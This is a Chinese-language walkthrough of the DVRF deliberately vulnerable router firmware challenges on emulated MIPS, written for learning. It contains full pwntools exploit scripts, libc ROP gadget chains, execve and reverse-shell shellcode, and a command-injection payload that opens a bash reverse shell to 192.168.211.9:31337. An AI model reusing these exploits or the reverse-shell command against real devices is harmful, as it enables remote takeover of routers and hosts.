DVRF 项目介绍该项目目标是模拟一个真实的环境,帮助人们了解 x86_64 之外的其他 CPU 架构。此固件是针对 Linksys E1550 设备量身定制的。如果您没有,请不要担心!可以用 qemu 模拟。 项目地址:https://github.com/praetorian-inc/DVRF 本文涉及相关实验:解密固件实践及firmwalker脚本利用 (通过本次实验学习如何在固件被加密的情况下进行解密,使得固件层面的路由器安全研究顺利进行。) 模拟环境主要是用 ubuntu 16 ,如果部分题目用 qemu-user 模拟不了,就转去 attify 3.0 。但是 attify gdb 插件 gef 视乎在模拟时 vmmap 查不过来 libc 地址,问题不大只是查询方法饶了一点,还是可以解决的。
stack_bof_01获取参数后,未校验长度赋值给局部变量造成栈溢出,有后门函数 Main 函数由 libc_main_start 调用,即 main 函数为非叶子函数,返回地址存放在栈上,从汇编可见: 直接跳转 0x00400950 会因为 t9 的值被修改而错误。mips默认 t9 为当前函数开始地址。函数内部通过 t9 寄存器和 gp 寄存器来找数据,地址等。 其他师傅文章中是通过找 libc 中的 调试方法需要打开几个 terminal 启动不同的命令:
连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就慢慢单步调试。 EXP字符串是从参数读入,跳转地址转换后是不可见字符 ,需要借助 # file_name: stack_bof_01.py from pwn import * context.binary = "./pwnable/Intro/stack_bof_01" context.arch = "mips" context.endian = "little" backdoor = 0x0040095c payload = 'a'*0xc8+'b'*0x4 payload += p32(backdoor) with open("stack_bof_01_payload","w") as file: file.write(payload) 命令行执行: sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`" stack_bof_02和前面一题差不多,调试方法也一样,就是少了后门函数,造成溢出函数变成了 main 非叶子函数覆盖函数返回地址跳转存放在栈上的 shellocde 。qemu 模拟地址没有随机化,相当于 aslr 关闭了,直接调试查出 v4 的内存地址 直接写入 shellcode 可以完整执行完,但是执行 查阅资料后发现,由于 mips 是流水指令集,存在 cache incoherency 的特性,需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。 构造 ROP 的 gadget 得去 libc 找,程序自身没多少个。我在 ubuntu18 gdb 连上报错,换到 ubuntu16 vmmap 查不出来 libc 信息(如图),最后换 attify 解决问题。
先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。 .text:0002FB10 li $a0, 1 .text:0002FB14 move $t9, $s1 .text:0002FB18 jalr $t9 ; sub_2F818 接着需要找一个控制 s1 的 gadget ,用于控制执行完 gadget1 之后跳转到哪里。 .text:00007730 lw $ra, 0x18+var_s10($sp) .text:00007734 lw $s3, 0x18+var_sC($sp) .text:00007738 lw $s2, 0x18+var_s8($sp) .text:0000773C lw $s1, 0x18+var_s4($sp) .text:00007740 lw $s0, 0x18+var_s0($sp) .text:00007744 jr $ra 至此 a0 被控制为 1 ,目前 payload 结构为: payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += "????"#s1 payload += "bbbb"#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra 不能直接将 sleep(0x767142b0) 填到 s1 处,因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器(或压栈)的过程,当 sleep 运行到结尾的
.text:00020F1C move $t9, $s2 .text:00020F20 lw $ra, 0x18+var_sC($sp) .text:00020F24 lw $s2, 0x18+var_s8($sp) .text:00020F28 lw $s1, 0x18+var_s4($sp) .text:00020F2C lw $s0, 0x18+var_s0($sp) .text:00020F30 jr $t9 解决 sleep 运行结束返回地址问题,并 payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += "cccc"#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += "????"#ra
.text:00016DD0 addiu $a0, $sp, 0x38+var_20 .text:00016DD4 move $t9, $s0 .text:00016DD8 jalr $t9 payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += "????"#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += p32(gadget4)#ra 最后找一个用 a0 跳转的 gadget ,一开始用 .text:000214A0 move $t9, $a0 .text:000214A4 sw $v0, 0x30+var_18($sp) .text:000214A8 jalr $t9 最后跳转 shellcode 时, payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += p32(gadget5)#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += p32(gadget4)#ra ####### payload += "a"*0x18 payload += p32(0xdeadbeef) payload += shellcode EXPfrom pwn import * context.binary = "./pwnable/ShellCode_Required/stack_bof_02" context.arch = "mips" context.endian = "little" # libc_base = 0x766e5000 sleep = 0x767142b0#0x2F2B0+0x766e5000 gadget1 = 0x76714b10 ''' 0x76714b10:lia0,1 0x76714b14:movet9,s1 0x76714b18:jalrt9 ''' gadget2 = 0x766ec730 ''' 0x766ec730:lwra,40(sp) 0x766ec734:lws3,36(sp) 0x766ec738:lws2,32(sp) 0x766ec73c:lws1,28(sp) 0x766ec740:lws0,24(sp) 0x766ec744:jrra ''' gadget3 = 0x76705f1c ''' 0x76705f1c:movet9,s2 0x76705f20:lwra,36(sp) 0x76705f24:lws2,32(sp) 0x76705f28:lws1,28(sp) 0x76705f2c:lws0,24(sp) 0x76705f30:jrt9 ''' gadget4 = 0x766fbdd0 ''' 0x766fbdd0:addiua0,sp,24 0x766fbdd4 <optarg>:movet9,s0 0x766fbdd8:jalrt9 ''' gadget5 = 0x767064a0 ''' 0x767064a0:movet9,a0 0x767064a4:swv0,24(sp) 0x767064a8:jalrt9 ''' shellcode = "\xff\xff\x06\x28" # slti $a2, $zero, -1 shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962 shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp) shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873 shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp) shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp) shellcode += "\xf5\xff\xa4\x27" # addiu $a0, $sp, -0xc shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1 shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab shellcode += "\x0c\x01\x01\x01" # syscall 0x40404 payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += p32(gadget5)#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += p32(gadget4)#ra ####### payload += "a"*0x18 payload += p32(0xdeadbeef) payload += shellcode with open("stack_bof_02_payload","w") as file: file.write(payload) socket_bof这题二进制文件用 ida 看伪代码有点瑕疵,本来溢出点变成了一个指针,导致一直找不到,最后无奈去看了下源码和结合汇编。 #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> // Pwnable Socket Program // By b1ack0wl // Stack Overflow int main(int argc, char **argv[]) { if (argc <2){ printf("Usage: %s port_number - by b1ack0wl\n", argv[0]); exit(1); } char str[500] = "\0"; char endstr[50] = "\0"; int listen_fd, comm_fd; int retval = 0; int option = 1; struct sockaddr_in servaddr; listen_fd = socket(AF_INET, SOCK_STREAM, 0); bzero( &servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htons(INADDR_ANY); servaddr.sin_port = htons(atoi(argv[1])); printf("Binding to port %i\n", atoi(argv[1])); retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr)); if (retval == -1){ printf("Error Binding to port %i\n", atoi(argv[1])); exit(1);} if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){ printf("Setsockopt failed :(\n"); close(listen_fd); exit(2); } listen(listen_fd, 2); comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL); bzero(str, 500); write(comm_fd, "Send Me Bytes:",14); read(comm_fd,str,500); sprintf(endstr, "nom nom nom, you sent me %s", str); printf("Sent back - %s",str); write(comm_fd, endstr, strlen(endstr)+1); shutdown(comm_fd, SHUT_RDWR); shutdown(listen_fd, SHUT_RDWR); close(comm_fd); close(listen_fd); return 0x42; } 栈溢出在这句 调试方法在 ubuntu 16.04 下 gdb-multiarch # terminal 1 sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884 # terminal 2 gdb-multiarch set architecture mips set endian little target remote :1234 另外一个调试方法是 qemu system 启动 mips 系统,然后传入一个 gdb-server ,在里面运行程序然后 gdb-server attach 程序,再在外面用 gdb 链接上去。 attify 里面 gdb 插件是 gef ,用 vmmap 读不出 libc 地址 曲线救国在 全部题目用的 libc 都同一个,需要 shellcode 的题目,换下 shellcode 就能通用 exp 。前面
找一个反弹 shell 的 shellcode 替换,或者将 shell 绑定到某个端口 绑定 shell 的 shellcode 预期是开在本地的 4919 端口,实际运行后发现并不是,要自己查端口 -。- ,然鹅 nc 连上去后程序会蹦掉。 反弹 shell 的 shellcode 预编是反弹到 192.168.1.177:31337 ,要么修改网卡 ip ,要么就改一下 shellcode 传入的 ip 将 ip 地址转换成 16 进制 hex(192)#0xc0 hex(168)#0xa8 hex(1)#0x01 hex(177)#0xb1 #192.168.1.177==>0xB101A8C0 编译一下,编译失败看看是不是 binutils 没装 from pwn import context.arch = "mips" context.endian = "little" asm("li $a1, 0xB101A8C0") 然后搜索 stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01" stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24" stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20" #stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177 stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9 stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf" stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28" stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23" stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28" stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01" EXP#!/usr/bin/python from pwn import * context.arch = 'mips' context.endian = 'little' libc_addr = 0x4089b000#0x766e5000 sleep = 0x0002F2B0 gadget1 = 0x2fb10 ''' 0x76714b10:lia0,1 0x76714b14:movet9,s1 0x76714b18:jalrt9 ''' gadget2 = 0x7730 ''' 0x766ec730:lwra,40(sp) 0x766ec734:lws3,36(sp) 0x766ec738:lws2,32(sp) 0x766ec73c:lws1,28(sp) 0x766ec740:lws0,24(sp) 0x766ec744:jrra ''' gadget3 = 0x20f1c ''' 0x76705f1c:movet9,s2 0x76705f20:lwra,36(sp) 0x76705f24:lws2,32(sp) 0x76705f28:lws1,28(sp) 0x76705f2c:lws0,24(sp) 0x76705f30:jrt9 ''' gadget4 = 0x16dd0 ''' 0x766fbdd0:addiua0,sp,24 0x766fbdd4 <optarg>:movet9,s0 0x766fbdd8:jalrt9 ''' gadget5 = 0x214a0 ''' 0x767064a0:movet9,a0 0x767064a4:swv0,24(sp) 0x767064a8:jalrt9 ''' stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01" stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24" stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20" #stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177 stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9 stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf" stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28" stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23" stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28" stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01" payload = 'a' * 51 payload += p32(libc_addr+gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(libc_addr+gadget3)#s1 payload += p32(libc_addr+sleep)#s2 payload += "bbbb"#s3 payload += p32(libc_addr+gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += p32(libc_addr+gadget5)#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += p32(libc_addr+gadget4)#ra ####### payload += "a"*0x18 payload += p32(0xdeadbeef) payload += stg3_SC p = remote('127.0.0.1',8882) p.recvuntil('Send Me Bytes:') p.sendline(payload) p.interactive() socket_cmdEXP依次打开终端运行 #terminal 0 qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999 #terminal 1 nc -lvvp 31337 #tarminal 2 nc 127.0.0.1 9999 hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"`
Uaf_01&heap_overflow剩下两题 heap_overflow 和 uaf_01 没有什么思路,都是输入一次然后程序就退出了。 uaf_01 重新申请相同 0x11 ,就跳转 heap_overflow 有个后门,输入机会只有一次,然后程序就会关掉。 参考文章https:///pwn/linux/mips/mips_rop/ https://xz.aliyun.com/t/1511 https://www.cnblogs.com/hac425/p/9416864.html |
|